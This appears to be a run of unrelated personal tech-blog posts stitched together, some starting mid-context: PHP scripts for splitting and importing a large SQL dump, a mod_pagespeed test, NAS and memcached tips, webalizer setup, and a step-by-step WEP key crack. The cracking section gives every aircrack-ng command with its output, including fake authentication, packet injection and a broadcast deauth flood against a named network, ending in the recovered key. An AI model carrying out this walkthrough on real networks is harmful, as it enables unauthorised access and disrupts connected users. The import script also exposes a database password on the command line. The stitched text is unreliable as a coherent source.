Splitting the sql-file
I just read every line in with PHP and when I encounter a comment (– ), I create a new file.

//Set time limit to one hour
set_time_limit(3600);

$dir = '/path/to/store/splits';
$file = '/path/to/large/sql/file.sql';

$i = 1000000;
//open large sql-file
$handle = fopen($file,"r");
if($handle) {
	while(($buffer = fgets($handle)) !== false) {
		//read line and append it to the file with name $i.sql
		$newfile = fopen($dir . '/' .$i . '.sql', 'a+');
		fwrite($newfile,$buffer);
		//if a comment is found, create a new file
		if(substr($buffer,0,3) === '-- '){
			$i++;
		}
	}
fclose($handle);
}

Splitting this 20Gb file took about 10 minutes on my server and created approximately 500 files. The largest file was 5Gb and I know I could import a 5Gb-file without a problem.

Importing the sql-file
Importing the file was pretty simple. I wrote a script that loops over all the files and imports them into the database.

set_time_limit(3600000);

//The directory containing the splitted files
$dir = '/path/to/store/splits';

$files = scandir($dir);

ob_start();
//loop over the files and import them into the database
foreach($files as $file){
	echo $dir . $file . "\n";
	system("mysql -u mysql_username -pmysql_password mysql_databasename < $dir/$file");
	ob_flush();
}

In my case, it took more than 8 hours to completely import those database but with the help of these 2 scripts, it worked like a charm.

For this test, I’ve set up a server (1 intel processor/512MB ram/12MB video memory) with Ubuntu Server 10.10 (32 bit).
I could test some static resources but nowadays, particularly all websites are dynamic ones so I’ve installed Mysql/PHP and of course Apache2, all with the default settings, on my server.
Next, I’ve downloaded WordPress and installed it on the server, changed the appearance to ‘pixel theme’ and added a few posts with images in.

Time to test

I’m not going to do fancy stuff, the module is installed with the default options enabled and I’ll just use Firebug to do the tests.

First the tests without the module installed:

The results with the module installed:

Mod_pagespeed_statistics:

Conclusion:

• The amount of requests have been reduced in this case with 2 (-15%)
• The pagesize has been reduced with 5.2KB (-1.5%)
• The loadtime is shorter when mod_pagespeed is enabled (-13%)

The 50% profit claim is a little bit optimistic because the bottleneck in the pageload is the dynamic content and that’s a part where this module doesn’t do anything. But in general, the module does a reasonably good job. I get a 13% profit with mostly default values, a good configured server should propably even do better.
I will definitely test this further and maybe put it one day on a production server.

The config used in this test looks like this:

<IfModule pagespeed_module>
    SetOutputFilter MOD_PAGESPEED_OUTPUT_FILTER
     ModPagespeed on
     ModPagespeedUrlPrefix "http://localhost/"
     ModPagespeedFileCachePath "/var/mod_pagespeed/cache/"
     ModPagespeedGeneratedFilePrefix "/var/mod_pagespeed/files/"
     ModPagespeedRewriteLevel CoreFilters
     ModPagespeedDomain localhost
     ModPagespeedEnableFilters add_instrumentation
<IfModule>

My full configuration file can be downloaded here.

So I thought I give it a try to hack the access point.
Here are the steps I followed:
First I took a look if my laptop could see the wireless network.
The network I want to crack is wifi9/7

Let’s start cracking the key with the installation of aircrack-ng

sudo apt-get install aircrack-ng

List the adapters

wim@wim-ubuntu:~$ sudo airmon-ng 

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]

I have only one wireless card in my laptop (wlan0) so this is obviously the card I have to use.
Next, I have to put my wireless card in monitoring mode

wim@wim-ubuntu:~$ sudo airmon-ng start wlan0

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID	Name
899	NetworkManager
906	avahi-daemon
977	avahi-daemon
1113	wpa_supplicant
2744	dhclient
Process with PID 2744 (dhclient) is running on interface wlan0

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]
				(monitor mode enabled on mon0)

mon0 is a new interface which I will use for monitoring. If I run the previous command again, mon0 should be listed as interface.

wim@wim-ubuntu:~$ sudo airmon-ng 

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]
mon0		Intel 3945ABG	iwl3945 - [phy0]

Next, launch airodump on the new interface to hop all the channels and show the wireless networks that can be found:

wim@wim-ubuntu:~$ sudo airodump-ng mon0            

 CH  2 ][ Elapsed: 24 s ][ 2010-02-08 19:43                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                                             

 00:21:91:F2:06:D9   -1        0        0    0 123  -1
 00:1D:7E:43:52:33  -48       61       52    2   1  54e  WPA2 CCMP   PSK  cisco
 00:1B:11:6E:78:6D  -79       72        0    0   9  54   WEP  WEP         wifi6-2
 00:24:01:65:97:69  -79       54        0    0   6  54   WEP  WEP         wifi9/7
 00:1D:19:23:BC:57  -84       19       14    0   9  54 . WPA2 CCMP   PSK  GCS
 00:23:EE:CB:5A:61  -87       10        1    0  11  54e  WPA  TKIP   PSK  telenet-039FF
 00:21:91:F3:7D:B6  -88        4        0    0   9  54   WEP  WEP         WIFI 18                                                                           

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                                                                   

 00:21:91:F2:06:D9  00:24:2B:8B:4F:81  -83    0 - 1      0       39  baranilew,bbox2-b0c7,default
 00:1D:7E:43:52:33  00:1B:77:D9:A9:52    0   54e-54e     0       49  cisco

The network I like to hack (wifi9/7) is listed. I can see that it is secured by WEP. If the security is WPA, it's a lot harder to crack.

Next, run airodump-ng again, but now, let it look at the channel which is used by the network we will crack. In this case 6

wim@wim-ubuntu:~$ sudo airodump-ng --channel 6 mon0

 CH  6 ][ Elapsed: 16 s ][ 2010-02-08 19:51 ][ fixed channel mon0: 1                       

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID        

 00:21:91:F2:06:D9   -1   0        0        0    0 133  -1
 00:1D:7E:43:52:33  -34   1       10        1    0   1  54e  WPA2 CCMP   PSK  cisco
 00:24:01:65:97:69  -75  96      117        0    0   6  54   WEP  WEP         wifi9/7      

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                 

 00:21:91:F2:06:D9  00:24:2B:8B:4F:81  -85    0 - 5      0        7  default
 00:1D:7E:43:52:33  00:1B:77:D9:A9:52    0    1e- 1      0       10  cisco

Just let the previous screen run and open a new consolewindow to run a fake attempt for authentication.
The value after -a is the MAC-address from the network we want to crack, the -e value is the name of the network

wim@wim-ubuntu:~$ sudo aireplay-ng --fakeauth 0 -a 00:24:01:65:97:69 -e wifi9/7 mon0
No source MAC (-h) specified. Using the device MAC (00:1B:77:D9:A9:52)
19:56:24  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6

19:56:24  Sending Authentication Request (Open System) [ACK]
19:56:24  Authentication successful
19:56:24  Sending Association Request [ACK]
19:56:24  Association successful   (AID: 1)

The association is successfull. This means the target host doesn’t use MAC filtering. This is good for me, so I don’t have to spoof my MAC address.
Now everything is ready to crack the key.
first, if in your first console the airdump command is still running, close it and start it again with an option to save the output to a file:

wim@wim-ubuntu:~$ sudo airodump-ng --channel 6 -w /home/wim/crackwepwifi -i mon0

 CH  6 ][ Elapsed: 0 s ][ 2010-02-08 20:01                                         

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID        

 00:24:01:65:97:69  -72 100       29        4    0   6  54   WEP  WEP         wifi9/7      

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

To actually crack the key, I need a lot of data. In this case, I've only got 4 packets where I need around 100000 so I have to speed things up a little bit by launching aireplay in injection mode in a new console window:

wim@wim-ubuntu:~$ sudo aireplay-ng -3 -b 00:24:01:65:97:69 mon0
No source MAC (-h) specified. Using the device MAC (00:1B:77:D9:A9:52)
20:07:31  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6
Saving ARP requests in replay_arp-0208-200731.cap
You should also start airodump-ng to capture replies.
Read 63 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)

Now keep the aireplay-ng and airodump-ng running and run the deauth attack.

wim@wim-ubuntu:~$ sudo aireplay-ng --deauth 0 -a 00:24:01:65:97:69 mon0
20:10:02  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c ).
20:10:02  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:02  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:03  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:03  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]

Let everything run. After a few minutes, you should receive ARP requests and the data will start increasing very feast. I’ve noticed, it goes a little bit faster when I tried to connect in Ubuntu with the target network.
When there are enough packets captured, it’s time to crack them.
I’ve opened a new console and used following command where crackwepwifi-02.ivs is the file we entered previously:

wim@wim-ubuntu:~$ sudo aircrack-ng -0 -b 00:24:01:65:97:69 /home/wim/crackwepwifi-02.ivs
Opening /home/wim/crackwepwifi-02.ivs
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 88000 ivs.
                     KEY FOUND! [ 30:36:34:36:39 ] (ASCII: 06469 )
	Decrypted correctly: 100%

Got it! The key for the network is 06469.
I could connect to it without a problem and made my sister happy again

I wasn’t very happy with these 3 directories because I wanted to categorize my media in other directories. In this post, I will post how I’ve resolved this problem.

First, enable SSH access to the NAS and log in.

My first idea to tackle this issue was to use of symbolic links

ln -s /volume1/MyMusicDirectory /volume1/music

I’ve re-indexed my files on the NAS and everything worked instantly. All the files in MyMusicDirectory where indexed so I was very happy…but not for long.
I noticed quickly that the new files I’ve placed in MyMusicDirectory weren’t auto-indexed by the NAS. I always had to re-index through the webinterface which can take hours when there is a lot of data to index so that was a big issue.
I figured out what the problem was: symbolic links will be considered as files and not as directories so the autoindexer wouldn’t follow the symbolic link.

Up to idea 2: mount –bind
I used mount –bind to create an unbreakable link which normally would be used as a directory by the NAS so the contents could be auto-indexed.

mount --bind /volume1/MyMusicDirectory /volume1/music

It worked!! YES!!
Till I’ve rebooted the NAS. The mount was gone and I had to manually add it again. Not something I want to do at every reboot.

Up to idea 3: changing fstab
The file /etc/fstab will be loaded at startup to mount the filesystem so I’ve added the following rule in the file:

/volume1/MyMusicDirectory /volume1/music bind defaults,bind 0 0

I saved the file and rebooted and it didn’t worked. The fstab file will be overridden at startup with Synology’s default fstab-file so the rule I’ve entered before was deleted.

And then idea 3: The solution
Create a file rc.local

touch /etc/rc.local

open the file and add the following line:

mount --bind /volume1/MyMusicDirectory /volume1/music

Now restart the NAS and you’re done.
The files in MyMusicDirectory will be auto-indexed by the media server.

$ telnet localhost 11211
Trying 127.0.0.1…
Connected to localhost.
Escape character is ‘^]’.
flush_all
OK
quit
Connection to localhost closed by foreign host.
$

You have to log in into the appropriate memcached host and port with telnet. After logged in, you have to use the flush_all command. If this command responses with OK, everything went fine and you can log out of your memcached server using the command quit.

The above command works fine but is a pain in the ass if you have to flush a lot and wants to use your console for other things.
If this is the case, you can run a flush_all in 1 command

echo 'flush_all' | nc localhost 11211

By default, nc (or netcat) creates a TCP socket either in listening mode (server socket) or a socket that is used in order to connect to a server (client mode). Actually, netcat does not care whether the socket is meant to be a server or a client. All it does is to take the data from stdin and transfer it to the other end across the network.

In most of the cases, there is more than just one website on a server.
Though, it is very important that you can measure the stats of all the websites separately.
I’ll tell you in a few lines how you can achieve this with webalizer.

This tutorial is tested with Webalizer on Ubunty but I presume it will work almost the same way in other distros.

First of all you have to install webalizer on your system.

sudo apt-get install webalizer

After installation of webalizer, the configurationfiles are per default stored in /etc/webalizer.
Move to that directory and make a copy of the config-file.

sudo cp webalizer.conf MySiteName.conf

When the copy is created you have to open it in your favorite editor (I use vim)

sudo vim MySiteName.conf

Scroll down till you find the LogFileattribute and change it to the accesslogfile of MySiteName.
You also have to tell the script where the outputfiles will be stored. This is normally a place which is accessible by the browser.

LogFile /www/mysite/logs/access.log
OutputDir /www/mysite/public_html/webalizer

These are the only 2 parameters which you have to change. You can scroll through the rest of the file and make changes towards your preferences.

All is done now so you can run webalizer with the new configuration file

webalizer -c /etc/webalizer/MySiteName.conf

Webalizer will run and should be accessible through your webbrowser.
Obviously, it would kinda suck if you have to run the webalizerscript every time you want to see the stats so we gonna make a cron which will run the script every hour

crontab -e

And fill in:

0 * * * * webalizer -c /etc/webalizer/MySiteName.conf

Voila, all done